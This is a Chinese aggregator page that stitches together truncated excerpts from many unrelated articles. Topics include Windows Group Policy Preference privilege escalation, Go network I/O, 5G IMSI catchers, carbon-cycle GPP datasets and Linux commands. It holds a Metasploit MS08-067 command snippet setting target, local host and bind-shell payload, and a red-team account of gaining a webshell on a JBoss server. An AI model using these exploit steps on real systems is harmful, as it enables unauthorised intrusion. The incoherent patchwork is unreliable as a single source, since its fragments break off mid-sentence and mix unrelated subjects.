在2015年的黑帽大会和DEFCON上，我曾谈过黑客会如何从域用户提权到域管理。 密码的难题 每台Windows主机有一个内置的Administrator账户以及相关联的密码。大多数组织机构为了安全，可能都会要求更改密码，虽然这种方法的效果并不尽如人意。标准的做法是利用组策略去批量设置工作站的本地Administrator密码。 但是这样又会出现另一个问题，那就是所有的电脑都会有相同的本地Administrator密码。也就是说，如果获取了一个系统的Administrator认证凭据，黑客就可以获取他们
GPP是指组策略首选项（Group Policy Preference），GPP通过操作组策略对象GPO（Group Policy Object）对域中的资源进行管理。
大家好，这里是 渗透攻击红队 的第 76 篇文章，本公众号会记录一些红队攻击的案例，不定时更新！请勿利用文章内的相关技术从事非法测试，如因此产生的一切不良后果与文章作者和本公众号无关！
组策略（英语：Group Policy）是微软Windows NT家族操作系统的一个特性，它可以控制用户帐户和计算机帐户的工作环境。组策略提供了操作系统、应用程序和活动目录中用户设置的集中化管理和配置。组策略的其中一个版本名为本地组策略（缩写“LGPO”或“LocalGPO”），这可以在独立且非域的计算机上管理组策略对象。
最近在实战过程中遇到了组策略，发现攻击面其实挺宽广的，这里记录下自己的分析和学习过程。
Windows 2008 Server引入了一项称为组策略首选项的新功能，该功能使管理员可以部署影响域中计算机/用户的特定配置。通过在组策略管理控制台中配置的组策略首选项，管理员可以推出多种策略，例如，当用户登录其计算机时自动映射网络驱动器，更新内置管理员帐户的用户名或对注册表进行更改。
翻译“CompTIA PenTest Certification All-in-One Exam Guide Exam2019.pdf” 第十章
总览：Go中网络交互采用多路复用的技术，具体到各个平台，即Kqueue、Epoll、Select、Poll等，下面以Linux下的Epoll实现为例进行分析。
从 Go 源码目录结构和对应代码文件了解到 Go 在不同平台下的网络 I/O 模式的有不同实现。比如，在 Linux 系统下基于 epoll，freeBSD 系统下基于 kqueue，以及 Windows 系统下基于 iocp。
GO原生支持协程，并且服务器上可以支持上万的协程goroutine。所以在网络编程方面，一般都采用一个连接开启一个协程的模式。
Kerberos是一种由MIT提出的一种计算机网络授权协议，旨在通过使用加密技术为客户端/服务端应用程序提供强大的认证服务。域内访问其他应用应遵循服务Kerberos协议。完整的域内应用访问流程如图所示，首先由客户端向域控发起认证请求，域控验证用户是否属于合法域用户，若合法则由域控响应主机请求分发TGT认证票据(黄金票据可伪造TGT)，拿到证书后主机可以继续请求访问域内的应用服务，若权限符合域控会返回允许主机访问域内某应用服务的TGS票据，主机拿着TGS票据访问对应的应用服务，该应用服务器验证TGS通过后主机即可顺利访问应用服务
在2022RSA大会上，Trusted Connectivity Alliance（TCA）联盟发表了一个名为“Catch Me If You Can: Protecting Mobile Subscriber Privacy in 5G”的议题，该议题主要针对如何在5G中对IMSI进行加密进行探讨。TCA联盟是一个全球性的非营利性行业协会，旨在完善未来网络互联中的信任机制，并希望通过保护资产、用户隐私和网络三者之间的可信连接，推动互联社会的持续发展[1]。在该议题中，TCA对比了IMSI在SIM卡和终端中进行加密的差异点，通过对比TCA认为IMSI在SIM中进行加密拥有更好的效果。
上面是一个基于 Go 原生网络模型（基于 netpoll）编写的一个 TCP server，模式是 goroutine-per-connection，在这种模式下，开发者使用的是同步的模式去编写异步的逻辑而且对于开发者来说 I/O 是否阻塞是无感知的，也就是说开发者无需考虑 goroutines 甚至更底层的线程、进程的调度和上下文切换。而 Go netpoll 最底层的事件驱动技术肯定是基于 epoll/kqueue/iocp 这一类的 I/O 事件驱动技术，只不过是把这些调度和上下文切换的工作转移到了 runtime 的 Go scheduler，让它来负责调度 goroutines，从而极大地降低了程序员的心智负担！
通过外部资产中获取的JBoss的shell马，拿下了一个冰蝎的webshell。拿到shell之后我一开始是打算上线CS的，但是这里一直都上线不了，不用看了大概率就说杀软的问题。首先来看一下对方系统的基本信息，这里可以看到是存在域环境的。
5G向相邻和新的垂直市场扩散是史无前例的，从而导致了本十年来诸如AI和边缘计算等突破性技术的融合。我们不仅在推动这些技术的内在协同作用，以提高5G的关键业务服务的性能极限，而且还在通过NR-Light缩减5G NR以满足各种用例，同时探索将其进一步推广到未来的可能性。解决更广泛的大规模物联网用例。继续阅读此博客文章，以了解LB如何使用5G IOT愿景，并为各个企业研制不同的解决方案。
CIT极客(ChuangIT) 最前沿的业界资讯，最全面的精品资源！ 90后黑客1元买走价值800万金饰 据媒体报道，湖北省公安厅披露了一起黑客攻击某购物平台、用106元骗走价值800余万元的黄金钻石的案例。 去年 11 月，湖北省安陆市公安局接到报案，有黑客攻击购物平台，在10月17日至24日一周内，以一元的价格下单了106笔订单，购买了价值800余万元的黄金、手链、裸钻等贵重商品。 据悉，此黑客采取攻击后台的方式，每笔仅支付 1 元，却让后台系统认为其支付了对应的数万元货款，订单通过审核并发货。该网购平
为了维持社会的稳定和辨识各终端用户，网络社会是怎么做到用户区分的呢？毕竟网络是我们人类创建的，所以它也就具备了我们所拥有的特性，网络社会中赋予了各个终端用户永久身份证号——IMSI、SUPI(SUCI)和一堆临时ID(外号)——GUTI、P-TMSI、5G-GUTI等。
原则：密码超过十位数起，要包括数字、大小写字母、特殊符号，这样才能成为一个合格的密码（密码不能有规律性，不能有自己的姓名、电话等，否则会很容易被猜到）
最近群里聊天提及到了NAS消息加密的问题，这里根据经验简单的聊聊，不甚详尽，大家可以参考3GPP 33.401对NAS Security进行更详细的了解。
我们以前担心的手机泄漏个人位置隐私的问题，也就是在2G/3G/4G一直存在的IMSI Catcher问题，终于有望在5G标准里得到彻底解决啦！ 这个问题在每次制定新一代网络标准的时候，都要争论一回。这是网络功能性、成本与安全性之间的斗争。在5G的第一版标准，Release15，关于安全的标准[1]中，IMSI加密是最大的亮点。 在2/3/4G网络中，攻击者能通过十分廉价的设备获取你的位置。这是由于手机每次需要联网的时候都要大声喊着，“我是谁谁谁”，攻击者就可以通过手机报告的信息确定手机的大概位置了。专业一点的说，手机所广播的那条“我是谁谁谁”就是手机的IMSI码，全球唯一，就如同你的身份证号。设想，如果满大街都在喊着每个人的身份证号，那么追踪某一个人就变得容易了。 当然实际上，IMSI这么关键的信息不会在你发送的每条信息中都带着。手机还会有一个临时身份证（GUTI/TMSI），平时传递数据都是使用这个临时身份证，手机只有在特殊的场景下会发送自己的IMSI。手机会在哪些场合会发送自己的IMSI呢？ 0x01 什么情况下手机会发送IMSI？ 情景一：手机接入正常的网络时 手机开机后，先从USIM中读取之前运营商分配的临时身份信息GUTI/TMSI，发送携带该身份信息的信令给基站，请求接入运营商网络。基站收到该消息后便转发给核心网的MME，若MME中可以查询到对应的GUTI/TMSI对应的真实身份，则允许手机接入。若MME查询不到，则需要重新对手机发起真实身份核验的请求“Identity Request”，即要求手机提供真实身份IMSI。 通常触发手机真实身份验证的合理情况有：手机首次入网或手机移动到其它MME覆盖范围后，MME中无法从网络中查询到手机的GUTI/TMSI，故而需要手机上报自己的真实身份。 在这种情景下，攻击者只需采取被动监听就可以捕捉到手机的IMSI。 情景二：手机接入到伪基站网络时 伪基站通过高信号强度压制真实基站把手机吸进来（手机会自动选择信号强度最强的基站），之后强行给连接过来的手机发送身份验证请求消息——“Identity Request”，手机就会乖乖的把自己真实身份报上来。 在该情境下，攻击者采取的是主动攻击，需要打开伪基站，不停的发送“Identity Request”就可以获取周围手机的真实身份。 这种获取IMSI的工具，就称为IMSI Catcher，其中比较出名的一款工具叫Stingray（黄貂鱼），目前被一些执法部门使用。Stingray是一款同时具有被动监听（监听+数据分析）和主动攻击（伪造基站）的IMSI Catcher。通过获取IMSI，TMSI，IMEI可以更好地获取移动终端的数据信息。并且设备非常便携，可以装在飞机、汽车、无人机等交通工具适用以上两种情景，并且该设备还可以测绘基站的分布情况，自行进行数据分析，追踪目标手机位置，监听通信内容，进行DDoS攻击等。
[root@VM_0_7_centos tmp]# cat 1.txt 1 2 3 4 5 6 [root@VM_0_7_centos tmp]# cat 2.txt 4 5 6 7 8 [root@VM_0_7_centos tmp]# grep -f 1.txt 2.txt 4 5 6 [root@VM_0_7_centos tmp]# grep -f -v 1.txt 2.txt grep: -v: No such file or directory [root@VM_0_7_centos
在大多数情况下，攻击者可以通过定位域管理员所登录的服务器，利用漏洞获取服务器system权限，找到域管理的账号、进程或是身份验证令牌，从而获取域管理员权限。本文分享几种常见的获取域管理员权限的方式。
APT29是威胁组织，已被归于俄罗斯政府情报组织，APT29至少从2008年开始运作，具有YTTRIUM、The Dukes、Cozy Duke、Cozy Bear、Office Monkeys等别名。主要攻击目标为美国和东欧的一些国家。攻击目的是为了获取国家机密和相关政治利益，包括但不限于政党内机密文件，操控选举等。与APT28，同属于俄罗斯政府的APT28相互独立，但在某种程度上会联合行动。APT29是东欧地区最为活跃的APT组织之一。该APT的许多组件均通过伪造的Intel和AMD数字证书进行签名。
拉斯维加斯，2016 CTIA Super Mobility conference顺利召开，根据参加会议的高管表示，开源软件和安全将是5G成功的基本要素。 于昨日举行的开幕主题演讲中，CTIA主席兼A
4G的网络临时ID就叫做GUTI，全称是Globally Unique Temporary UE Identity，被手机通过eNB所选择的MME分配，它会随着环境的改变而改变：比如在MME间切换后，或者当前GUTI的使用时间到期了，都会被分配一个新的GUTI，它的结构如下图：
3GPP，3rd GenerationPartnership Project，即第三代合作伙伴计划。3GPP包括欧洲ETSI、美国TIA、日本TTC、ARIB、韩国TTA以及中国CCSA等6个组织伙伴（OP）。目前独立成员有300多家，此外，3GPP还有TD-SCDMA产业联盟（TDIA）、TD-SCDMA论坛、CDMA发展组织（CDG）等13个市场伙伴（MRP）。
5G速率非常高，与之相连的Host设备要发挥5G的全部性能，必须正确的配置上位机，如CPU负载均衡，软硬件加速方案等。但是现阶段5G的部署不是很完善，实网测速最高到1Gbps左右，这时候可能高速率问题甚至无法发现。客户端部署仪表进行测速成本太高。因此有了Loopback测试的解决方案。
与其他语言的网络IO强调异步非阻塞不同，GOLANG里的网络IO模型是：创建多个goroutine，每个goroutine的网络IO都是阻塞的，这样的代码非常直观
useradd命令 useradd命令，表示创建用户，增加用户的命令 /etc/passwd用户文件 /etc/passwd文件既是密码文件，也是核心的配置文件 每创建一个用户，都会在/etc/passwd中增加一行 [root@hf-01 ~]# ls /etc/passwd /etc/passwd [root@hf-01 ~]# head -n3 /etc/passwd root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin da
该数据集对碳循环各组成部分的不确定性进行了估算，包括：土壤碳储量、自养呼吸（Ra）、异养呼吸（Rh）、净生态系统交换（NEE）、净初级生产力（NPP）和总初级生产力（GPP）。不确定性是根据陆地大气碳交换净值趋势计划（TRENDY）和北美碳计划（NACP）区域综合模式输出平均到年度平均值的多模式（n = 20）差异（即标准偏差）计算得出的。这个总不确定性综合了各模式间陆面物理结构的不确定性、模式内固有参数的不确定性以及强迫数据的不确定性。 对 ABoVE 域创建了一个半度分辨率掩模，用于从全球 TRENDY 和北美（NACP 区域）模式输出中剪切。根据需要对掩模进行转换，以匹配 20 个模式的不同原始分辨率。通过对现有的月度模式输出进行平均，并保留每个模式的本地空间分辨率，为 2003 参考年制作了 NEE、GPP、Rh、Ra、NPP 和 C 土壤的年平均值图。绘制了多模式标准偏差（σ）图，与单个年均值图进行比较。
2.27linux和windows互传文件 前提：两者互传文件 前提条件：要使用 xshell 或者 securecrt 才能用这个方法。 前提条件：安装包 yum install -y lrzsz sz命令 sz——>从linux到windows上，会有两种情况 在桌面若已存在1.txt文件，再次传输的时候，会生成1(2).txt文件 rz命令 rz命令——>r表示remote 将linux上文件传输到windows上 [root@hf-01 ~]# rz 敲完rz后，敲回车命令，会跳出上传的界
在windows中，权限大概分为四种，分别是User、Administrator、System、TrustedInstallerTrus
go针对不同的操作系统，其网络io模型不同，可以从go源码目录结构和对应内容清楚的看到各平台的io模型，如针对linux系统实现的epoll，针对windows操作系统实现的iocp等，这里主要看针对linux系统的实现，涉及到的文件大体如下：
0x01MS08-067 RPC远程缓冲区溢出导致的远程代码执行漏洞 适用：Windows 2000;XP;Server 2003;Vista;Server 2008;7 Beta use exploit/windows/smb/ms08_067_netapi #使用模块set rhosts 172.16.5.27 #设置靶机ipset lhost 172.16.5.28 #设置本地ipset payload generic/shell_bind_tcp #设置pay
基带漏洞威胁最大的是可以通过OTA(空中接口)利用，即通过发射加载漏洞利用代码的无线电波，从空中接口利用漏洞，在受害者无任何感知的情况下，远距离对受害者进行攻击。
随着5G的快速建设，5G的安全问题亟待解决。解决5G的安全问题，首先要明确5G的安全需求。5G的安全需求涵盖许多方面，既继承了2/3/4G的传统安全需求，还在此基础上进一步增强；既关注如SDN（Software Defined-Networking，软件定义网络）等新技术引入的安全需求，也考虑不同垂直行业提出的差异化安全需求。因此，本文将从以下三个方面探讨5G的安全需求：增强的移动通信网安全需求、新技术驱动的安全需求和垂直行业驱动的安全需求。
我们在之前的系列里面讨论了OPNFV（网络功能虚拟化的网络平台），主要覆盖了有关虚拟架构和相应的支持NFV（网络功能虚拟化）组织管理。本文将主要介绍组建不同虚拟网络功能的开源解决方案。 一个虚拟化的网络功能（ VNF ）能够运行于一个NFV基础设施（ NFVI ），并由NFV Orchestrator（ NFVO ）和VNF Manager编排。 VNF除了定义良好的功能行为外，预期可对其它网络功能，VNF Manager，EMS和NFVI 提供接口。 商业软件和服务器目标所取代的网络设施范围可包括防火墙，
众所周知 Atom是一款非常酷炫的编辑器。因为它就像上古卷轴一样，玩家可以开发各种dlc补丁，实现自己想要的效果。所以Atom 可以被你改造成自己想要的东西，可以用来写算法竞赛题目，可以开发网页，可以写Python，java等等。代码风格和效果也随便你选。我是已经入坑了。 现在我要把Atom打造成一个写c/c++的编译器。 第一种方法： clang-format 代码格式化支持保存的时候格式化 autocomplete-clang 自动补全，无比强大 linter-clang symbols-tree-
3GPP TS 38.101-1 UE无线发送与接收：FR1-Standalone
本文系SDNLAB社区译者计划发布文章，SDNLAB将与国外优质媒体和个人进行长期的内容合作，带来更多的优质技术文章，本文是<<网络功能虚拟化：新兴的虚拟化网络层技术>> 系列文章的第三篇。 本文译者：Andy Yu， 现于湾区一家网络设备供应商担任PM职位，曾先后在AMD，Dell等公司任职多年。 我们在之前的系列里面讨论了OPNFV（网络功能虚拟化的网络平台），主要覆盖了有关虚拟架构和相应的支持NFV（网络功能虚拟化）组织管理。本文将主要介绍组建不同虚拟网络功能的开源解决方案。 一个虚拟化的
行业协会并不是公益组织，它存在的意义，就是为了协调成员之间的矛盾，制定规则和契约。
导语 | 2019年9月7日，腾讯技术开放日·5G多媒体专场在腾讯滨海大厦完美落幕。来自腾讯多媒体实验室的专家们给大家带来了关于5G技术和标准的精彩分享，揭开了许多关于5G的谜团。本文由腾讯多媒体标准组总监&5G专家Stephan Wenger为大家重点解释了关于5G的应用层技术特点，并深入讨论5G所带来的新兴技术领域，以及5G国际标准的生态系统和各种相关标准制定组织与专有技术之间的界限。
今天是教师节，愿所有老师教师节快乐。 刚刚浏览了很多学生时代(居然用了这个词🤔)的照片，按理应该是要矫情一波的，然而常理出牌总不会带来意外，那么还是不要矫情了，于此也祝愿自己所有的老师同学朋友在各自的工作岗位上步步高升，生活一切安好。 终于还是决定开始写一些这几年所从事的工作——通信，也算是对这几年的总结和分享，知识只有分享出来才是有意义的存在吧。 毕业就进入到了这个行业，虽然一开始并不知道什么，但是一路走来也慢慢的喜欢上了这种完成各个节点的对接，对各种信令的学习、理解和验证。 这几年走南闯北，第一次领
陆地总初级生产总值（gross primary production, GPP）是全球植被生长和粮食生产的基础，它影响着生态系统碳平衡，在调节大气CO2中发挥着重要作用。尽管未来几十年较高的CO2浓度可以增加GPP，但土壤水分利用率降低、热胁迫和干旱可能会降低这种CO2的施肥效益。为了更好地理解未来干旱将如何影响全球范围内的GPP，研究人员分析了13个地球系统模型的输出，结果表明，在21世纪，极端干旱对GPP的影响比轻度和中度干旱的影响更大。在中高排放情景下，到本世纪最后四分之一年（2075-2099年），由于极端干旱发生频率的急剧增加，极端干旱造成GPP的减少幅度预计将比历史时期（1850-1999年）的高达3倍。相比之下，轻度和中度干旱导致的GPP减少量预计不会大幅增加。研究分析表明，随着大气变暖，全球碳循环面临极端干旱的高风险；然而，未来有利的气候环境条件也可以促进GPP，从而可以潜在地缓解极度干旱的负面影响。
攻击者可以通过多种方式获得 Active Directory 中的域管理员权限。这篇文章旨在描述一些当前使用的比较流行的。此处描述的技术“假设破坏”，即攻击者已经在内部系统上站稳脚跟并获得了域用户凭据（也称为后利用）。
智能手机已经成为了我们日常生活中必不可少的一部分，根据消费者行为分析公司comScore的分析显示，普通消费者每天花费近3个小时通过智能手机使用流媒体、共享、通信和搜索等业务。 在此基础上，移动设备迫
这是一个很有意思的组织，我们通信行业内部对它几乎无人不知无人不晓，而对于行业外部的普通百姓来说，却极少有人知道它。
全球植被冠层的阳光和阴影GPP（1992-2020年） 总初级生产力（GPP）是陆地碳预算的一个重要组成部分，在全球碳循环中发挥着突出的作用。准确估计陆地GPP对了解全球气候变化背景下陆地生物圈和大气层之间的相互作用至关重要，预测未来变化，并为气候政策决策提供信息。GPP与植被类型、气象因素、土壤湿度和其他因素密切相关。特别是，GPP受植被冠层结构的影响，如阳光下的叶子和阴影下的叶子。阳光下的叶片可以同时吸收直射和漫射辐射，当辐射较高时容易出现光饱和，而阴影下的叶片只能吸收漫射辐射，吸收的辐射强度一般在光补偿点和光饱和点之间。
当我们通过webshell拿到一个普通用户的权限，由于是普通用户所以很多操作都会受限制。这就需要通过一定的方法将普通用户提权到更高权限的用户。
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
ICP备案
对象存储
实时音视频
即时通信 IM
